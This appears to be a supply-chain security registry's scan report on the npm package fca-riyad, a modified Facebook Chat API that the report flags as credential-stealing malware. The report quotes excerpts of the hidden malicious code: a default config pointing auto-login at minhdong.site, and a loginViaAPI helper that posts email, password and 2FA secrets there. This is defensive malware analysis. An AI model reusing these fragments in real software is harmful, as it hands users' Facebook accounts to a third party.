registry / Credential exfiltration / fca-riyad

fca-riyad

Facebook Chat API - Modified by Riyad | Stable, Auto Re-login, Fixed setMessageReaction

This report shows the evidence for fca-riyad@37.2.7. 5 of 5 known versions are blocked or flagged. See all versions.

AI Security Review

scanned 2mo ago · by lpm-firewall-ai

The source establishes a concrete, default credential-exfiltration path to a third-party endpoint during ordinary package use. No install hook is needed for this runtime behavior to be malicious.

Static reason

High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review

Trigger

Consumer calls the exported login API with email/password, or configured auto-login runs.

Impact

Third party can capture Facebook credentials, 2FA material, and issue session cookies for the user.

Mechanism

credential forwarding to a package-selected external login API

Attack narrative

After a consumer invokes credential login, makeLogin calls tokens, which aliases tokensViaAPI. That function sends the supplied email, password, and optional 2FA secret to the default minhdong.site endpoint. The response may contain Facebook cookies, which the package installs into its session jar. This forwards account credentials to a third-party service rather than authenticating directly with Facebook.

AI rationale

The source establishes a concrete, default credential-exfiltration path to a third-party endpoint during ordinary package use. No install hook is needed for this runtime behavior to be malicious.

Evidence

module/config.jsmodule/loginHelper.jsmodule/login.jssrc/api/socket/e2ee/native/lib/index.mjssrc/api/socket/e2ee/native/build/messagix.sosrc/api/socket/e2ee/native/build/messagix.dll

Network endpoints1

minhdong.site/api/v1/facebook/login_ios

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

Default configuration enables auto-login and sets a third-party API server.
The login helper POSTs supplied email, password, and optional 2FA secret to that server.
Normal credential login calls the API-backed token function, making the transfer part of the documented login path.
Package also loads shipped native libraries through koffi when E2EE is used.

Evidence against

package.json has no preinstall, install, or postinstall lifecycle hook.
Remote-control WebSocket is disabled unless configured by the user.

Behavioral surface

Source

ChildProcessCryptoDynamicRequireEnvironmentVarsEvalFilesystemNetworkWebSocket

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 199 file(s), 1.62 MB of source, external domains: 127.0.0.1, b-graph.facebook.com, facebook.com, github.com, m.facebook.com, minhdong.site, reg-e2ee.facebook.com, registry.npmjs.org, static.xx.fbcdn.net, upload.facebook.com, www.facebook.com, www.messenger.com, www.whatsapp.com

Source & flagged code

15 flagged

src/api/socket/e2ee/e2ee/vendor/fb-e2ee.cjsView file

Lines 110-150javascript

110var require_safe_buffer = __commonJS({

111 "node_modules/ws/node_modules/safe-buffer/index.js"(exports2, module2) {

112 "use strict";

113 init_cjs_shims();

114 var buffer = require("buffer");

115 var Buffer3 = buffer.Buffer;

116 function copyProps(src, dst) {

117 for (var key in src) {

118 dst[key] = src[key];

119 }

120 }

121 if (Buffer3.from && Buffer3.alloc && Buffer3.allocUnsafe && Buffer3.allocUnsafeSlow) {

122 module2.exports = buffer;

123 } else {

124 copyProps(buffer, exports2);

125 exports2.Buffer = SafeBuffer;

126 }

127 function SafeBuffer(arg, encodingOrOffset, length) {

128 return Buffer3(arg, encodingOrOffset, length);

129 }

130 copyProps(Buffer3, SafeBuffer);

131 SafeBuffer.from = function(arg, encodingOrOffset, length) {

132 if (typeof arg === "number") {

Low

Weak Crypto

Package source references weak cryptographic algorithms.

src/api/socket/e2ee/e2ee/vendor/fb-e2ee.cjsView on unpkg · L130

133 throw new TypeError("Argument must not be a number");

134 }

135 return Buffer3(arg, encodingOrOffset, length);

136 };

137 SafeBuffer.alloc = function(size, fill, encoding) {

138 if (typeof size !== "number") {

139 throw new TypeError("Argument must be a number");

140 }

141 var buf = Buffer3(size);

142 if (fill !== void 0) {

143 if (typeof encoding === "string") {

144 buf.fill(fill, encoding);

145 } else {

146 buf.fill(fill);

147 }

148 } else {

149 buf.fill(0);

150 }

Lines 2944-2984javascript

2944 "kyc-id",

2945 "privacy_token",

2946 "readreceipts",

2947 "appointment_only",

2948 "address",

2949 "expected_ts",

2950 "privacy",

2951

src/api/socket/e2ee/e2ee/nativeBridge.jsView file

37function getDynamicImport() { L38: if (!_dynamicImport) _dynamicImport = new Function("specifier", "return import(specifier);"); L39: return _dynamicImport;

Low

Eval

Package source references a known benign dynamic code generation pattern.

src/api/socket/e2ee/e2ee/nativeBridge.jsView on unpkg · L37

module/loginHelper.jsView file

•matchType = normalized_sha256 matchedPackage = fca-eryxenx@39.2.4 matchedPath = module/loginHelper.js matchedIdentity = npm:ZmNhLWVyeXhlbng:39.2.4 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

module/loginHelper.jsView on unpkg

1"use strict"; L2: const fs = require("fs"); L3: const path = require("path");

Medium

Dynamic Require

Package source references dynamic require/import behavior.

module/loginHelper.jsView on unpkg · L1

module/config.jsView file

•Default automatic account recovery forwards email, password, and two-factor material to a fixed non-platform login relay. module/config.js: autoLogin: true, apiServer: "https://minhdong.site", credentials: { email: "", password: "", twofactor: "" }, module/loginHelper.js: * @param {string} email - Email hoặc số điện thoại * @param {string} password - Mật khẩu * @param {string|null} twoFactor - Secret Base32 cho 2FA (không phải mã 6 số) async function loginViaAPI(email, password, twoFactor = null, apiBaseUrl = null, apiKey = null) { const endpoint = `${baseUrl}/api/v1/facebook/login_ios`; email, password // Only include twoFactor if provided (must be Base32 secret, not 6-digit code) module/loginHelper.js: const u = config.credentials?.email || config.email; const p = config.credentials?.pas

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

module/config.jsView on unpkg

src/api/socket/e2ee/native/build/messagix.soView file

•path = [redacted].so kind = native_binary sizeBytes = 17504872 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

src/api/socket/e2ee/native/build/messagix.soView on unpkg

src/vendor/fca-unofficial/test/data/something.movView file

•path = src/vendor/fca-unofficial/test/data/something.mov kind = high_entropy_blob sizeBytes = 211750 magicHex = [redacted]

High

Ships High Entropy Blob

Package ships high-entropy non-source blobs.

src/vendor/fca-unofficial/test/data/something.movView on unpkg

•path = src/vendor/fca-unofficial/test/data/something.mov kind = payload_in_excluded_dir sizeBytes = 211750 magicHex = [redacted]

High

Payload In Excluded Dir

Package hides binary, compressed, or executable-looking payloads in test/fixture/hidden paths.

src/vendor/fca-unofficial/test/data/something.movView on unpkg

src/api/socket/e2ee/nativeBridge.jsView file

•matchType = normalized_sha256 matchedPackage = fca-riyad@37.2.3 matchedPath = [redacted].js matchedIdentity = npm:ZmNhLXJpeWFk:37.2.3 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/api/socket/e2ee/nativeBridge.jsView on unpkg

src/api/messaging/uploadAttachment.jsView file

•matchType = normalized_sha256 matchedPackage = fca-eryxenx@39.2.4 matchedPath = [redacted].js matchedIdentity = npm:ZmNhLWVyeXhlbng:39.2.4 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/api/messaging/uploadAttachment.jsView on unpkg

src/api/socket/e2ee/e2ee/index.jsView file

•matchType = normalized_sha256 matchedPackage = shadowx-fca@10.4.0 matchedPath = src/api/socket/e2ee/e2ee/index.js matchedIdentity = npm:c2hhZG93eC1mY2E:10.4.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/api/socket/e2ee/e2ee/index.jsView on unpkg

src/api/socket/e2ee/index.jsView file

•matchType = normalized_sha256 matchedPackage = shadowx-fca@10.4.0 matchedPath = src/api/socket/e2ee/index.js matchedIdentity = npm:c2hhZG93eC1mY2E:10.4.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/api/socket/e2ee/index.jsView on unpkg

src/api/socket/e2ee/vendor/fb-e2ee.cjsView file

Lines 2944-2984javascript

2944 "kyc-id",

2945 "privacy_token",

2946 "readreceipts",

2947 "appointment_only",

2948 "address",

2949 "expected_ts",

2950

Source & flagged code

15 flagged · loading source

src/api/socket/e2ee/e2ee/vendor/fb-e2ee.cjsView file

2964patternName = google_api_key severity = high line = 2964 matchedText = ["64", "...7"],

High

High Secret

Package contains a high-severity secret pattern.

src/api/socket/e2ee/e2ee/vendor/fb-e2ee.cjsView on unpkg · L2964

2964patternName = google_api_key severity = high line = 2964 matchedText = ["64", "...7"],

High

Secret Pattern

Google API key in src/api/socket/e2ee/e2ee/vendor/fb-e2ee.cjs

src/api/socket/e2ee/e2ee/vendor/fb-e2ee.cjsView on unpkg · L2964

130copyProps(Buffer3, SafeBuffer); L131: SafeBuffer.from = function(arg, encodingOrOffset, length) { L132: if (typeof arg === "number") { ... L400: * @return {Object} Accepted configuration L401: * @private L402: */ ... L543: this._inflate[kWriteInProgress] = true; L544: this._inflate.write(data); L545: if (fin) this._inflate.write(TRAILER); ... L660: * @param {(String|Buffer|ArrayBuffer|Buffer[])} data The received data L661: * @param {WebSocket} target A reference to the target to which the event was dispatched L662: */

Low

Weak Crypto

Findings

1 Critical10 High5 Medium6 Low

CriticalHardcoded Runtime Data Exfiltrationmodule/config.js

HighHigh Secretsrc/api/socket/e2ee/e2ee/vendor/fb-e2ee.cjs

HighShips High Entropy Blobsrc/vendor/fca-unofficial/test/data/something.mov

HighPayload In Excluded Dirsrc/vendor/fca-unofficial/test/data/something.mov

HighKnown Malware Source Similaritysrc/api/socket/e2ee/nativeBridge.js

HighKnown Malware Source Similaritymodule/loginHelper.js

HighKnown Malware Source Similaritysrc/api/messaging/uploadAttachment.js

HighKnown Malware Source Similaritysrc/api/socket/e2ee/e2ee/index.js

HighKnown Malware Source Similaritysrc/api/socket/e2ee/index.js

HighSecret Patternsrc/api/socket/e2ee/e2ee/vendor/fb-e2ee.cjs

Affected versions and remediation

This report applies to fca-riyad@37.2.7.

The versions list below shows the verdict for each recorded version.

Avoid installing fca-riyad@37.2.7. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-19 19:48:51.656Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

5 known versions

37.2.7latestshownMaliciousCredential ExfiltrationBlockPublishedAug 19, 2026, 7:42 PM 37.2.3MaliciousCredential ExfiltrationBlockPublishedAug 9, 2026, 1:36 AM 37.2.2MaliciousCredential ExfiltrationBlockPublishedAug 9, 2026, 12:22 AM 37.2.1MaliciousCredential ExfiltrationBlockPublishedAug 8, 2026, 6:22 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other credential exfiltration packages

Behavioral surface

Related packages

Other credential exfiltration packages

Source & flagged code